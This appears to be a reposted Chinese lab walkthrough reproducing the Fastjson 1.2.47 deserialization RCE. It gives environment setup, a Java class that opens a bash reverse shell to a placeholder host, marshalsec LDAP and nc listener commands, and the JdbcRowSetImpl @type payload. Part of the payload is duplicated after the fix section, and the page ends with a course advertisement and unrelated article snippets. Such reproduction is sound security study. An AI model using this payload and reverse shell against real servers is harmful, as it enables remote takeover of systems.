fastjson 1.2.47 RCE漏洞保姆级复现

news2024/12/25 2:15:52

1.漏洞概述

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson
1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过

2.影响版本

  • Fastjson <=1.2.47

3.环境准备

3.1 主机准备

  • linux主机:1台(靶机)

  • Kail:1台(监听)

  • Windows:1台(复现实施,burp抓包)

3.2相关安装包准备

  • fastjson1.2.47.tar.gz,下载地址

https://pan.baidu.com/s/18gr0bshmQOHJ26vB4mZCjQ
提取码:tzva

  • JDK1.8,下载地址

https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

  • maven3.6.3,下载地址

https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/

  • marshalsec下载地址

java反序列化利用工具,该工具可以快速开启RMI以及LDAP服务,但需要使用maven编译(下文会讲):https://github.com/mbechler/marshalsec

4.环境搭建

4.1 Linux主机(本文采用centos7.7)安装docker

  • 安装所需软件包

yum install -y yum-utils device-mapper-persistent-data lvm2

  • 设置yum源
    yum-config-manager --add-repo http://download.docker.com/linux/centos/docker- ce.repo

  • 安装docker

yum -y install docker-ce-18.03.1.ce

4.2镜像环境部署

  • 拉取镜像环境
    docker pull rightctrl/tomcat

  • 映射到服务器8080端口

docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat

  • 测试页面访问是否成功,http://ip:8080
    image.png

  • 将fastjson安装至tomcat环境

将下载的fastjson1.2.47.tar.gz上传至主机并解压:
tar -zxvf fastjson1.2.47.tar.gz
复制到tomcat的webapps目录下
docker cp fastjson tomcat:/opt/tomcat/webapps/
(注意fastjson的文件名及tomcat路径未必一样)
测试页面访问http://ip:8080/fastjson (url路径与fastjson文件名有关)
image.png

4.3 kail环境安装

  • 安装JDK

新建目录,将下载的jdk的安装包复制过去并进行解压

mkdir /usr/local/java

cp jdk-8u202-linux-x64.tar.gz /usr/local/java

cd /usr/local/java

tar -xzvf jdk-8u202-linux-x64.tar.gz

添加环境变量:
vi /etc/profile

JAVA_HOME=/usr/local/java/jdk1.8.0_202 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH
安装(注意java版本本文使用jdk1.8.0_202):

update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1

update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1

update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1

加载profile:

source /etc/profile

查看java版本:

java -version

image.png

  • 安装maven3.6.3

下载apache-maven-3.6.3-bin.tar.gz安装包复制到/usr/local目录下,解压:
tar -zxvf apache-maven-3.6.3-bin.tar.gz
创建仓库目录:
mkdir /usr/local/apache-maven-3.6.3/repo
备份并修改maven配置文件:

cp /usr/local/apache-maven-3.6.3/conf/settings.xml /usr/local/apache- maven-3.6.3/conf/settings.xml.bak

vi /usr/local/apache-maven-3.6.3/conf/settings.xml

添加安装路径,如截图位置添加该路径:

image.png

配置阿里仓库源,修改为如下截图:

image.png

添加环境变量:

vi /etc/profile

在最后一行添加:

export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$PATH:$MAVEN_HOME/bin

重新加载:

source /etc/profile

测试配置是否成功:

mvn -v

image.png

  • 下载并编译marshalsec

通过上面链接下载后上传到kail并解压:

image.png

unzip marshalsec-master.zip

image.png

image.png

marshalsec目录下编译:

cd marshalsec-master

mvn clean package -DskipTests

编译完成后,到/marshalsec-master/target目录下会有这个文件marshalsec-0.0.3-SNAPSHOT-all.jar:

image.png

5.漏洞复现

5.1编译生成Exploit.class**

将以下代码保存为Exploit.java

import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }

Exploit.java文件上传到kail进行编译,得到Exploit.class文件:

javac Exploit.java

5.2开启监听(kail上操作)

  • 使用python快速起一个web

记得将Exploit.class文件放在web的目录下,即在哪个路径起web就放在哪里:
python2:
python -m SimpleHTTPServer 1111
python3:
Python -m http.server 1111

image.png

  • 开启ldap服务

到kail的/marshalsec-master/target目录下执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999

image.png

  • 开启nc监听

nc -lvp 1888

image.png

  • 发包测试

访问fastjson页面Burp发包,改为POST请求,使用EXP:

image.png

EXP代码如下:
{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:9999/Exploit", "autoCommit":true } }

  • 反弹shell成功

image.png

6.修复建议

升级至最新版本即可

sun.rowset.JdbcRowSetImpl"
}, “x”:{ “@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“ldap://ip:9999/Exploit”, “autoCommit”:true } }`

  • 反弹shell成功

[外链图片转存中…(img-xfJ2ESxU-1675259585685)]

6.修复建议

升级至最新版本即可

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/192995.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Sklearn中的算法效果评估手段

我们曾在《算法效果评估&#xff1a;均方根误差&#xff08;RMSE&#xff09;/ 标准误差》一文中介绍过评估算法效果使用的主要方法&#xff1a;均方根误差&#xff08;RMSE&#xff09;&#xff0c;但在实际应用中&#xff0c;评估算法效果还有更多内容&#xff0c;本文我们以…

VsCode安装及修改插件存储位置

【官网】&#xff1a; https://code.visualstudio.com/ 【修改插件仓库】&#xff1a; 创建名为VSCODE_EXTENSIONS的环境变量&#xff0c;内容指向自定义的文件夹即可&#xff08;位置无需限制&#xff09;。 【需要安装的插件】&#xff1a;

SBOM的介绍与syft和grype的使用

文章目录SBOM介绍工具syftgrypeSBOM介绍 SBOM&#xff08;软件物料清单&#xff09;是给定产品的中所有软件组件&#xff08;专有和开源代码&#xff09;、开源许可证和依赖项的清单。它提供了对软件供应链以及可能存在的任何许可证合规性、安全性和质量风险的可见性。 SBOM可…

Hystrix如何达到高可用

小型电商网站的页面展示采用页面全量静态化的思想。数据库中存放了所有的商品信息,页面静态化系统,将数据填充进静态模板中,形成静态化页面,推入Nginx服务器。用户浏览网站页面时,取用一个已经静态化好的html页面,直接返回回去,不涉及任何的业务逻辑处理。 用户每次浏览…

python输出不重复的字符

项目场景&#xff1a; 输入一个字符串&#xff0c;把最左边的10个不重复的字符&#xff08;大小写算不同字符&#xff09;挑选出来。 如不重复的字符不到10个&#xff0c;则按实际数目输出。问题描述 输出一个字符串&#xff0c;包含字符串s最左边10个不重复的字符。不到10个…

Canal与Kafka数据传输协议protocol buffer

1.写在前面 实时数仓开发中&#xff0c;利用Canal伪装slave获取MySQL的增量数据&#xff0c;获取后的数据由Kafka生产者接收&#xff0c;交由Flink实时流计算。传输数据量较大时&#xff0c;会占用内存及带宽&#xff0c;所以考虑将数据序列化和反序列化操作&#xff0c;这里介…

KNN(K-近邻)算法

1、概述 KNN(K−NearestNeighbor)KNN \left( K-Nearest Neighbor \right)KNN(K−NearestNeighbor)是机器学习中最基础的算法之一。既可以用于分类也可以用于回归&#xff0c;KNNKNNKNN通过测量不同特征值之间的距离来进行分类。 2、实例理解 如果k3k 3k3&#xff0c;绿色圆点…

【Cocos新手入门】使用 cocos creator 创建单行文本输入框及多行文本输入框

本篇文章主要讲解使用 cocos creator 创建单行文本输入框及多行文本输入框&#xff0c;并绑定文本框获取文本输入数据的方法。 作者&#xff1a;任聪聪 日期&#xff1a;2023年2月2日 cocos引擎版本2.4.3 实际效果 单行文本效果、多行文本效果 说明&#xff1a;如果不清楚按钮…

jquery:表单请求、序列化+案例

表单请求提交原则name相同的表单提交&#xff0c;name出现多次&#xff0c;对应不同表单的值没有name&#xff0c;含有disabled&#xff08;禁用&#xff09;禁止提交多选单选下拉列表需要设置value属性才能取值表单提交事件名称写法描述提交方式method“get”get不安全取数据&…

30. 面向对象高级编程

1. __solts__ 正常情况下&#xff0c;当我们定义了一个class&#xff0c;创建了一个class的实例后&#xff0c;我们可以给该实例绑定任何属性和方法&#xff0c;这就是动态语言的灵活性。 from types import MethodTypeclass Student:def __init__(self):passdef set_num(sel…

OSCP_VULHUB_Matrix3

文章目录简介扫描ida汇编ssh登录/提权简介 下载地址&#xff1a; https://download.vulnhub.com/matrix/Machine_Matrix_v3.ova 环境&#xff1a; VMware 16虚拟机软件 Matrix3靶机IP地址&#xff1a;192.168.132.145 Kali的IP地址&#xff1a;192.168.132.139 Matrix3靶机与…

Shiro基础知识与集成应用

1、Shiro可以完成: 【认证、授权、加密、会话管理】、与Web集成、缓存等2、特点: 易于使用、全面、灵活、强力支持Web、兼容性强、社区支持 外部观看内部观看3、 登录认证:1)身份验证&#xff1a;一般需要提供如身份ID等一些标识信息来表明登录者的身份&#xff0c;如提供email…

Druid(德鲁伊)数据库连接池

文章目录一.数据库连接池的必要性(一).传统数据库连接模式的的步骤(二).传统数据库连接模式存在的问题二.数据库连接池技术(一).数据连接池的思想&#xff1a;(二).数据库连接池的任务&#xff1a;(三).数据库连接池的规模&#xff1a;(四).工作原理&#xff1a;(五).数据库连接…

5 -【Faster R-CNN】之 AnchorGenerator 代码精读

【Faster R-CNN】之 AnchorGenerator 代码精读1、anchor 的 size 和 aspect_ratios2、计算以中心坐标为 (0, 0) 的 anchor3、将 anchor 映射到原图上4、代码汇总anchor 的作用&#xff1a;anchor 是用来做辅助计算的&#xff0c;用于和 &#xff08;上节课说的&#xff0c;由RP…

共享模型之内存(一)

1.Java内存模型 1>.JMM即Java Memory Model,它定义了主存、工作内存抽象概念,底层对应着CPU寄存器、缓存、硬件内存、CPU指令优化等; 2>.JMM体现在以下几个方面: ①.原子性 - 保证指令不会受到线程上下文切换的影响; ②.可见性 - 保证指令不会受cpu缓存的影响; ③.有序…

大型会场活动线上保障方案

背景 为保证活动上线后的质量&#xff0c;大型会场活动上线前通常会预设一些线上可能出现的问题&#xff0c;提前制定保障方案。 这些与活动保障相关的问题可能与App端上的容器环境有关&#xff0c;也可能与大盘用户设备特征有关&#xff0c;问题的处理方案会影响活动的线上效…

《啊哈算法图的遍历》(14张图解)

目录 前言 一&#xff0c;dfs和bfs是什么 二&#xff0c;城市地图--图的深度优先遍历 三&#xff0c;最少转机--图的广度优先遍历 前言 &#x1f33c;说爱你&#xff08;超甜女声版&#xff09; - 逗仔 - 单曲 - 网易云音乐 1月22日一个女孩加了我&#xff0c;她和我聊音…

adb常用指令合集

adb文件管理指令 1.复制设备里的文件到电脑 adb pull <设备里的文件路径> [电脑上的目录] 电脑上的目录 参数可以省略&#xff0c;默认复制到当前目录 例&#xff1a;adb pull /data/tsplogtool /home/jxq/文档/场景魔方 2.复制电脑里的文件到设备 adb push <电脑上的…

浅谈未来10年IT行业的变局与抉择,一文带你认识元宇宙

一. 困局据国家就业部门最新统计数据报告&#xff0c;2022年应届毕业生的数量首次突破1000万大关。其中研究生达到130万&#xff0c;985、211等名校毕业生75万&#xff0c;普通本科毕业生470万&#xff0c;专科生460万&#xff0c;另外还有几十万的归国留学生&#xff01;但这还…

《从0开始学大数据》之Spark性能优化案例

基于软件性能优化原则和 Spark 的特点&#xff0c;Spark 性能优化可以分解为下面几步。 性能测试&#xff0c;观察 Spark 性能特性和资源&#xff08;CPU、Memory、Disk、Net&#xff09;利用情况。分析、寻找资源瓶颈。分析系统架构、代码&#xff0c;发现资源利用关键所在&a…